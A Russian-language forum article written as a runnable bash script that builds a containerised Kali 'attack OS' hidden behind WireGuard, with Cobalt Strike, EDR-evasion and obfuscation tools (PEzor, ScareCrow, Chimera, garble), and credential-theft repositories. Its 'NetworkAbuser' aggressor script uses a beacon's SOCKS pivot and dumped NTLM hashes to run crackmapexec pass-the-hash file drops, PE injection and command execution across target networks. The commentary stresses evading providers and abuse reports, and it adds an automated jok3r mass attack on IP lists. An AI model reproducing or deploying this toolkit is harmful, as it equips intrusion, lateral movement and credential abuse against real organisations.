cat<<'EOF'>/etc/sudoers
Defaults  env_reset
Defaults  mail_badpass
Defaults  secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw"
root ALL=(ALL) NOPASSWD: ALL
x  ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
EOF

#install pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#golang latest
wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin

#PEzor true install
git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ; printf "Y" | bash install.sh
pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc
sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc
sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc

#zsh-terminal-modiifications
cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh
./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv
cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm
yes | cpan Term::ExtendedColor
yes | cpan File::LsColor
git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf
chsh --shell=/bin/zsh root
wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/

cat<<'EOF'>/root/.zshrc
export PATH=/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then
 source "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh"
fi

export TERM="xterm-256color"
export ZSH=$HOME/.oh-my-zsh
POWERLEVEL9K_MODE='nerdfont-complete'
ZSH_THEME="powerlevel10k/powerlevel10k"
POWERLEVEL9K_OS_ICON_BACKGROUND="white"
POWERLEVEL9K_OS_ICON_FOREGROUND="blue"
POWERLEVEL9K_DIR_HOME_FOREGROUND="white"
POWERLEVEL9K_DIR_HOME_SUBFOLDER_FOREGROUND="white"
POWERLEVEL9K_DIR_DEFAULT_FOREGROUND="white"
POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(virtualenv status command_execution_time background_jobs todo ram load rvm time)
POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(ssh os_icon context dir rbenv vcs)
POWERLEVEL9K_PROMPT_ON_NEWLINE=true

plugins=(
 zsh-completions
 zsh-autosuggestions
 history-substring-search
 python
 httpie
 docker
 lol
 pip
 screen
 systemd
 k
 zsh-syntax-highlighting
 )

source $ZSH/oh-my-zsh.sh
export LANG=en_US.UTF-8
export PATH=$PATH:~/.local/bin

NPM_PACKAGES="${HOME}/.npm"
PATH="$NPM_PACKAGES/bin:$PATH"

[ -f ~/.fzf.zsh ] && source ~/.fzf.zsh
export FZF_DEFAULT_OPS="--extended"
export MARKER_KEY_NEXT_PLACEHOLDER="\C-b"
[[ -s "$HOME/.local/share/marker/marker.sh" ]] && source "$HOME/.local/share/marker/marker.sh"
export PATH=$PATH:~/.quickzsh/todo/bin
autoload -U compinit && compinit
SAVEHIST=50000

speedtest() {
 curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py | python3 -
}

source ~/.p10k.zsh

alias l="ls++ --potsf"
alias la="ls++ -a --potsf"
EOF
cat<<'EOF'>/root/.p10k.zsh
'builtin' 'local' '-a' 'p10k_config_opts'
[[ ! -o 'aliases'   ]] || p10k_config_opts+=('aliases')
[[ ! -o 'sh_glob'   ]] || p10k_config_opts+=('sh_glob')
[[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand')
'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand'

() {
 emulate -L zsh
 unset -m 'POWERLEVEL9K_*|DEFAULT_USER'
 autoload -Uz is-at-least && is-at-least 5.1 || return

 local grey='242'
 local red='1'
 local yellow='3'
 local blue='4'
 local magenta='5'
 local cyan='6'
 local white='7'

 typeset -g POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(
 context
 dir
 command_execution_time
 newline
 virtualenv
 prompt_char
 )

 typeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(
 command_execution_time
 public_ip
 newline
 )

 typeset -g POWERLEVEL9K_BACKGROUND=
 typeset -g POWERLEVEL9K_{LEFT,RIGHT}_{LEFT,RIGHT}_WHITESPACE=
 typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SUBSEGMENT_SEPARATOR=' '
 typeset -g POWERLEVEL9K_{LEFT,RIGHT}_SEGMENT_SEPARATOR=
 typeset -g POWERLEVEL9K_VISUAL_IDENTIFIER_EXPANSION=
 typeset -g POWERLEVEL9K_PROMPT_ADD_NEWLINE=true
 typeset -g POWERLEVEL9K_PROMPT_CHAR_OK_{VIINS,VICMD,VIVIS}_FOREGROUND=$magenta
 typeset -g POWERLEVEL9K_PROMPT_CHAR_ERROR_{VIINS,VICMD,VIVIS}_FOREGROUND=$red
 typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIINS_CONTENT_EXPANSION='❯'
 typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VICMD_CONTENT_EXPANSION='❮'
 typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIVIS_CONTENT_EXPANSION='❮'
 typeset -g POWERLEVEL9K_PROMPT_CHAR_OVERWRITE_STATE=false
 typeset -g POWERLEVEL9K_VIRTUALENV_FOREGROUND=$grey
 typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_PYTHON_VERSION=false
 typeset -g POWERLEVEL9K_VIRTUALENV_{LEFT,RIGHT}_DELIMITER=
 typeset -g POWERLEVEL9K_DIR_FOREGROUND=$blue
 typeset -g POWERLEVEL9K_CONTEXT_ROOT_TEMPLATE="%F{$white}%n%f%F{$grey}@%m%f"
 typeset -g POWERLEVEL9K_CONTEXT_TEMPLATE="%F{$grey}%n@%m%f"
 typeset -g POWERLEVEL9K_CONTEXT_{DEFAULT,SUDO}_CONTENT_EXPANSION=
 typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=5
 typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0
 typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FORMAT='d h m s'
 typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FOREGROUND=$yellow
 typeset -g POWERLEVEL9K_VCS_FOREGROUND=$grey
 typeset -g POWERLEVEL9K_VCS_LOADING_TEXT=
 typeset -g POWERLEVEL9K_VCS_MAX_SYNC_LATENCY_SECONDS=0
 typeset -g POWERLEVEL9K_VCS_{INCOMING,OUTGOING}_CHANGESFORMAT_FOREGROUND=$cyan
 typeset -g POWERLEVEL9K_VCS_GIT_HOOKS=(vcs-detect-changes git-untracked git-aheadbehind)
 typeset -g POWERLEVEL9K_VCS_BRANCH_ICON=
 typeset -g POWERLEVEL9K_VCS_COMMIT_ICON='@'
 typeset -g POWERLEVEL9K_VCS_{STAGED,UNSTAGED,UNTRACKED}_ICON=
 typeset -g POWERLEVEL9K_VCS_DIRTY_ICON='*'
 typeset -g POWERLEVEL9K_VCS_INCOMING_CHANGES_ICON=':⇣'
 typeset -g POWERLEVEL9K_VCS_OUTGOING_CHANGES_ICON=':⇡'
 typeset -g POWERLEVEL9K_VCS_{COMMITS_AHEAD,COMMITS_BEHIND}_MAX_NUM=1
 typeset -g POWERLEVEL9K_VCS_CONTENT_EXPANSION='${${${P9K_CONTENT/⇣* :⇡/⇣⇡}// }//:/ }'
 typeset -g POWERLEVEL9K_TIME_FOREGROUND=$grey
 typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%H:%M:%S}'
 typeset -g POWERLEVEL9K_TIME_UPDATE_ON_COMMAND=false
 typeset -g POWERLEVEL9K_TRANSIENT_PROMPT=off
 typeset -g POWERLEVEL9K_INSTANT_PROMPT=off
 typeset -g POWERLEVEL9K_DISABLE_HOT_RELOAD=true
 (( ! $+functions[p10k] )) || p10k reload
}

typeset -g POWERLEVEL9K_CONFIG_FILE=${${(%):-%x}:a}

(( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]}
'builtin' 'unset' 'p10k_config_opts'
EOF

#bat
sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc

#nanorc
cd
wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash
#dnsleaktest
wget -nv --show-progress https://raw.githubusercontent.com/macvk/dnsleaktest/master/dnsleaktest.sh && mv dnsleaktest.sh /usr/bin/dnsleak && chmod +x /usr/bin/dnsleak

#ls_colors
mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null
( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null

#/////////// SOME TOOLZ /////////////////

#cobaltstrike
wget -O /tmp/cs.zip ; mkdir /opt/cobaltstrike ; unzip -P .is /tmp/cs.zip -d /opt/cobaltstrike ; sleep 1
echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike
cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop
[Desktop Entry]
Name=Cobalt-Strike
GenericName=Cobalt-Strike
Exec=sudo cobaltstrike
Icon=kali-cadaver
Terminal=false
Type=Application
EOF

#ghidra - NSA reverse
wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/NationalSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4)
unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra
cat<<'EOF'>/usr/share/applications/ghidra.desktop
[Desktop Entry]
Name=ghidra
Exec=sudo /usr/share/ghidra/ghidraRun
Icon=ghidra
StartupNotify=false
Terminal=false
Type=Application
EOF

#rustscan
wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install

#oneforall-install
cd /opt
git clone https://github.com/shmilylty/OneForAll.git
mv OneForAll oneforall
cd oneforall
python3 -m pip install -r requirements.txt
cat<<'EOF'>/usr/bin/oneforall
#!/bin/bash
cd /opt/customdir/oneforall
python3 oneforall.py --target $1 run
EOF
chmod +x /usr/bin/oneforall

#pwncat
python3 -m pip install pwncat pe-tree

#chimera
git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1

#trans - Google-translate-cli
wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans

#one-lin3r
pip3 install one-lin3r pefile

#garble
GO111MODULE=on go get mvdan.cc/garble

#scarecrow
git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow
apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo
go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow

#Creds - Windows-Helpers
git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks
git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t
git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky
apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang

#pe-tree
pip3 install pe-tree libtmux docutils

#ARSENAL CHEATSHIT
git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal
ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc

#TDM-GCC compiller
wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z

#install wine32
dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64

#install icons
wget -qO- https://git.io/papirus-icon-theme-install | sh

#torbrowser
version="$(curl -s https://tor.eff.org/dist/torbrowser/ | grep href | grep -v h1 | grep -v update | cut -d'>' -f2 | cut -d'/' -f1 | tail -n1)"
wget -O /tmp/t.tar https://tor.eff.org/dist/torbrowser/"$version"/tor-browser-linux64-"$version"_en-US.tar.xz ; mkdir -p /root/.local/share
tar xf /tmp/t.tar -C /root/.local/share/ ; ln /root/.local/share/tor-browser_en-US/start-tor-browser.desktop /usr/share/applications/

#/////// noVNC and docker entrypoint.sh ///////
git clone https://github.com/novnc/noVNC /usr/share/noVNC ; ln -s /usr/share/noVNC/vnc.html /usr/share/noVNC/index.html

#nvm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" ; [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
nvm install --lts ; nvm use --lts

#frp
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/

cat<<EOF>/usr/local/bin/frpc.ini
[common]
server_addr = DOCKERHOST
server_port = 7000
[vnc]
type = tcp
local_ip = 127.0.0.1
local_port = 6081
remote_port = 6080
use_compression = true
EOF

#terminal
cd /root/.config/xfce4/panel ; find . -type f -print0 | xargs -0 sed -i 's+exo-open --launch TerminalEmulator+xfce4-terminal+g'

#entrypoint
cat<'EOF'>/entrypoint.sh
#!/bin/bash
x1=$(hostname -I | cut -d' ' -f1) ; x2="p@ssw0rd" ; x4="p@ssw0rd"
echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd
chmod 600 /root/.vnc/passwd ; rm -r /tmp/*
rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock
unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared --AcceptSetDesktopSize ; sleep 3
while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared --AcceptSetDesktopSize ; sleep 1 ; done
ssh-keygen -H >> /root/.ssh/known_hosts ; sip="$(dig $HOSTNAME +short A)"
cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 &
frpc -c /usr/local/bin/frpc.ini &
killall tigervncconfig ; chmod 1777 /tmp
spiderfoot -l 127.0.0.1:53137
EOF
chmod +x /entrypoint.sh
DOCKERSTART

sed -i "s+DOCKERHOST+$(hostname)+g" /tmp/start.sh ; chmod +x /tmp/start.sh ; docker run -ti -d --name super_os kalilinux/kali-rolling bash
docker cp /tmp/start.sh super_os:/start.sh ; docker exec -ti super_os /start.sh

#В образ ОС, помимо окружения xfce4 вошли так же необходимые инструменты, которые позволят пользователю, как новичку, так уже и "бывалому" уменьшить время на проведение рутинных работ, инструменты для обфускации кода и другие. Вот список, который показался мне интересным и полезным:
#*golang* мы намеренно не установили из родного репо, т.к. компиляция некоторых инструментов требует последней доступной версии. именно ее мы и установили в систему
#*zsh, bat, nanorc, ls++* призваны сделать работы с командной строкой не только красочной, но и намного более комфортной, нежели со стандартным zsh или bash, которые представлены в репо
#*ghidra* так же самой последней возможной версией. если кто не в курсе - это декомпилятор, который мы увидели в связи с утечкой NSA 'ShadowBrokers'. NSA (это Агенство Национальной Безопасности Америки) и по сей день активно занимаются гидрой. Спасибо)
#*trans* перевод в вашем терминале от Google. trans 'Привет как дела?' -t en
#*oneforall* - это супербыстрый поиск субдоменов, доменов и айпи-адресов нужного вам ресурса
#*pwncat* - думаю в представлении не нуждается.. да, это тот самый "прокачанный netcat".
#*chimera* инструмент не менее известный, это обфускатор powershell скриптов, который включает множетсво методов и параметров
#*pe-tree* - название говорящее - позволяет увидеть структуру исполняемого файла, импорты, экспорты, энтропию и заголовки секций
#*garble*, а по совместительству враппер, заменяющий go при компиляции golang приложений
#*PEzor* известный фреймворк, который компилирует шеллкод либо бинарник в другие форматы, в том числе ReflectiveDLL. внимание на который, наверное стоит обратить всем, кто еще не успел познакомиться с этим чудесным методом управляемой инъекции. Но все-таки основная задача его установки - это установка необходимых компиляторов Windows приложений, таких как mingw-w64 и mono-mcs. Так же скрипт-установщик PEzor'а установит wclang (x86_64-w64-mingw32-clang), donut, sgn.
#*one-lin3r* очень полезная утилита, с помощью которой пользователь сможет получить подсказки по основным методам исполнения файла, так же внутри много способов дропа пейлоадов на целевую машину
#*Scarecrow* - это golang приложение, которое компилирует шеллкод по технике, называемой EDR evasion, призванной обходить одноименный компонент активной защиты Windows OS. Так же крайне важен принцип работы и ознакомление с ним
#*репозитории* инструментов таких маэстро сетевой безопасности, как mcgeeky и S3cur3Th1sSh1t, в которых каждый найдет кучу вкучностей и полезностей
#*arsenal* это супер-помощник пользователя, вызов которого мы зарегестрировали на комбинацию CTRL+A. это нужно увидеть, описывать бесполезно
#*wine tdm-gcc / wine gcc / wine g++* так же windows компилер, который дает неплохие результаты в плане обфускации-при-компиляции в случае его грамотного применения
#spiderfoot - мощнейший инструмент OSINT разведки. В настройках необходимо добавить как можно больше API ключей, предварительно их заполучив. Благо - в основном эти сервисы предоставляют минимум квоты, которой должно хватить нам на первое время
#-----------------------------------------
#Просто напоминаю, что подсказку по любым командам вы сможете найти в Google либо написав название утилиты -h (--help) XD


#DEFINE: _MAIN

#Ну вот и заключительная часть нашей "большой стройки" - собрание всего в кучу, под крыло wireguard и docker-compose. для этого мы создадим директорию, например /localhost , в которой в свою очередь напишем docker-compose.yml файл, с помощью которого мы и осуществим задуманное. Но прежде, чем сделать это, Вам необходимо обзавестись wireguard.conf - конфигурационным файлом wireguard. Вы сможете сделать это купив аккаунт wireguard-vpn (предпочтительнее), либо использовать чей-то сервер в качестве хоста-впн. Инструкций и автоматических установщиков море - смысла их тут приводить вообще нет. Итак наш туннель.conf следую положить в папку /etc/wireguard/socks/wg.conf , либо в любую другую, поправив при этом скрипт ниже. Обратите внимание: докер не любит ipv6 сети, соответственно все ipv6 адреса так же следует удалить из файла конфигурации туннеля.

mkdir /localhost ; cat<<'EOF'>/localhost/docker-compose.yml
version: "3.7"
services:

 wireguard:
 image: jordanpotter/wireguard
 container_name: wireguard
 restart: unless-stopped
 networks:
  - backbone
 volumes:
  - '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf'
  - '/lib/modules:/lib/modules'
 cap_add:
  - NET_ADMIN
  - SYS_MODULE
 sysctls:
  - net.ipv4.conf.all.src_valid_mark=1
  - net.ipv4.ip_forward=1

 suos:
 depends_on:
  - wireguard
 image: suod
 container_name: kali_suos
 restart: unless-stopped
 network_mode: service:wireguard
 cap_add:
  - NET_ADMIN
 volumes:
  - '/var/run/docker.sock:/var/run/docker.sock'
 command: bash /entrypoint.sh
 environment:
  - HOSTNAME=$HOSTNAME

 gvm:
 depends_on:
  - wireguard
 image: kali_gvm
 container_name: gvm
 restart: unless-stopped
 network_mode: service:wireguard
 privileged: true
 command: chown -hR gvm:gvm /data
 command: ./start.sh
 cap_add:
  - NET_ADMIN
 volumes:
  - '/opt/gvm-data:/data'
  - '/run/dbus/system_bus_socket:/run/dbus/system_bus_socket'
 environment:
  - SSHD="false"

networks:
 backbone:
 driver: bridge
EOF

#... и файл up.sh, который будет перзапускать контейнеры и комментировать изменения в контейнерах, попутно чистить ОЗУ и кеш перед перезапуском

cat<<'EOF'>/localhost/up.sh
#!/bin/bash
cd /localhost ; docker commit kali_suos suos ;
export HOSTNAME="$(hostname)" ; killall -9 ibus-extension-gtk3 ; killall -9 Xtigervnc
sync; echo 3 > /proc/sys/vm/drop_caches ; swapoff /swapfile2 ; sleep 1 ; swapon -a
docker-compose down --remove-orphans ; docker-compose up -d --force-recreate --remove-orphans
EOF
chmod +x /localhost/up.sh

echo '#!/bin/bash' > /etc/rc.local ; echo /localhost/up.sh >> /etc/rc.local ; chmod +x /etc/rc.local #этим мы поместили срипт редеплойа контейнеров в "автозагрузку" хоста


#DEFINE: _EXIT

#Наши практики освоения bash-скриптинга подходят к концу. Но какая же это статья на проникновение, спросите Вы? Отвечу - самое сладкое - оставляют на десерт)))
#Напишем простейший, но тем не менее очень мощный скрипт для кобальта, а так же Linux-GUI хелпер, который придаст эстетики и юзабельности нашему NetworkAbuser'у (так я его назвал)))

cat<<'EOF'>/tmp/abuser.cna
alias abuser {
  bsleep($1, 0, 0);
  bsocks_stop($1);
  bsocks($1, 27500)
  exec("/usr/local/bin/abuser");
}
EOF

cat > /tmp/abuser << 'ABUSER'
#!/bin/bash

cat<<EOF>/etc/proxychains.conf
quiet_mode
dynamic_chain
[ProxyList]
socks4 XHOSTNAME 27500
EOF

zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \
--add-entry="network  " --add-entry="username  " --add-entry="hash   " --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values
CIDR="$(cat /tmp/.values | cut -d'|' -f1)"
USER="$(cat /tmp/.values | cut -d'|' -f2)"
HASH="$(cat /tmp/.values | cut -d'|' -f3)"
METH="$(cat /tmp/.values | cut -d'|' -f4)"
if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi

if test "$METH" = "put" || test "$METH" = "inject" ; then
INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')"
elif test "$METH" = "execute" ; then
EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)"
fi

if test "$METH" = "put" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "inject" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "execute" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd
fi

chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold
ABUSER

hostip="$(dig $(hostname) +short A)" ; sed -i "s+XHOSTNAME+$hostip+g" /tmp/abuser ; chmod +x /tmp/abuser
docker cp /tmp/abuser super_os:/usr/local/bin ; docker cp /tmp/abuser.cna super_os:/opt/cobaltstrike/custom/
docker stop gvm super_os ; docker commit super_os suos ; docker commit gvm kali_gvm ; docker rm super_os gvm --force

#Принцип работы крайне прост. Сначала кобальт создает SOCKS4 Pivot через интересующий Вас бикон. После этого открывается GUI интерфейс, в котором необходимо будет указать CIDR (что то типа 192.168.2.0/24), имя пользователя и HASH, заполучить которые крайне просто - в консоле бикона выполить hashdump
#При первом использовании необходимо будет подключить скрипт, который находится в /opt/cobaltstrike/custom/abuser.cna, ну и другие скрипты, какие хотите
#Ну и самое последнее, как я и говорил ранее - мы создадим клиента под windows и linux, для работы с системой, использую chrome + java

npm i -g electron nativefier serve ; curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
mkdir /root/clients ; cd /root/clients ; curl -sL gitlab.com/x4k/pub/-/raw/master/nativ.zip > n.zip ; unzip n.zip

if [ ! -d dist ] ; then
  export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")"
  [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
  nvm install --lts ; nvm use --lts ; npm i -g nativefier electron-builder yarn
  yarn add electron ; npm i ; yarn
fi

rm -r build dist x4kme-linux-x64 x4kme-win32-x64 &> /dev/null

function buildme() {
nativefier http://"$(hostname)":6080/vnc.html \
--name x4kme \
--platform "$nplatform" \
--aarch x64 \
--lang ru-RU \
--tray \
--start-in-tray \
--icon "icon.png" \
--height 980 \
--width 1560 \
--disable-dev-tools \
--ignore-certificate \
--insecure
electron-builder build "$eplatform" --pd x4kme-"$pdir"-x64
}

#linux
nplatform="linux" eplatform='-l' pdir="linux" buildme
#windows
nplatform="windows" eplatform='-w' pdir="win32" buildme

echo 'cd /root/clients/dist ; serve -p 50000 &' >> /etc/rc.local

#DEFINE: _PS

#Вот и финальчик, так что в итоге? А в итоге мы имеем экосистему, включающую в себя свою сеть, работающую внутри контейнеров, которые в свою очередь шифруют трафик через wireguard-контейнер. Этим мы достигаем несколько абсолютно-важных целей: мы прячем наш трафик от глаз провайдера, в том числе сканера GVM, а так же создаем дополнительный слой шифрования, при этом шансы на абуз стремительно стремятся к нулю. Но все таки, конечно, лучше не юзать Ваш хост как Direct connect Для биконов. Для этого существуют редиректоры, инфы по которым предостаточно, они очень просты в установке. Работа через клиенты обеспечит нам так же необходимо-достигнутый уровень защиты, а именно, при работе через VPN получаем ТРИ!!! уровня защиты, два из которых защищены ключами шифрования, которые по одному-то практически нереально взломать, а в такой сцепке и вовсе становится нереально до вас добраться. Ну а как работает NetworkAbuser и аналогичную систему с моими наработками, сможете увидеть на видео, которое находится ниже. Скомпилированные клиенты доступны по адресу http://ваш.домен:50000
#Почему модульный? Все просто: Вы сможете добавить любой контейнер в /localhost/docker-compose.yml, который так же будет работать через wireguard и провайдер не сможет увидеть ничего, ни байта из трафика, вызванного Вашими невинными шалостями))) Наприм[MEDIA=youtube]3GRnQXXGky0[/MEDIA]ер:

docker pull 0x4k/jok3r ; cat<<'EOF'>>/localhost/docker-compose.yaml
 gvm:
 depends_on:
  - wireguard
 image: 0x4k/jok3r
 container_name: jok3r
 restart: unless-stopped
 network_mode: service:wireguard
 privileged: true
 cap_add:
  - NET_ADMIN
 volumes:
  - '/run/dbus/system_bus_socket:/run/dbus/system_bus_socket'
EOF

#Станет доступен модифицированный и глвное работающий coutto/jok3r:
#docker exec -ti jok3r zsh
#wget -O /targets.txt http://ваш.линк/на/список/ip-адресов/которые/вы/хотитет/"протестировать".txt
#attack
#У вас спросят два вопроса - местоположение того самого списка и название workspace (это название БД, куда будут собираться результаты). После этого джокер начнет разведку и атаку, а после выдаст ссылку на отчет. Инструментов внутри - что-то около 103. Самых серьезных ;-) Как вегда все произойдет автоматически)))
#Как бонус - Вы можете сменить тему кали - в настройках графической оболочки - выберите unkn0wn в меню Appearance и Windows Manager ;-)
#Как бонус2 - cd /opt/cobaltstrike/Toolkits ; unzip artifact.zip ; cd artifact ; bash winebuild.sh | Выполнять из-под графической оболочки, после того, как подключите свежеиспеченный artifact.cna из папок /opt/cobaltstrike/Toolkits/artifact/dist* ваши биконы станут менее заметны ;-)
#Как бонус3 - интерфейсы GVM , PatrowlHears и spiderfoot - защита от дурака))) если по-русски - "найдете сами" =)
#Ну и для тех, кто не понял формат написанной статьи - это абсолютно рабочий bash скрипт, который Вы сможете исполнить на свежекупленном хосте и получить результат из коробки))) просто загрузите скрипт на VPS например так: scp script.sh VPS:/root ; ssh VPS ; chmod +x script.sh ; ./script.sh ВАШ.ДОМЕН Не благодарите)

sudo -u root reboot


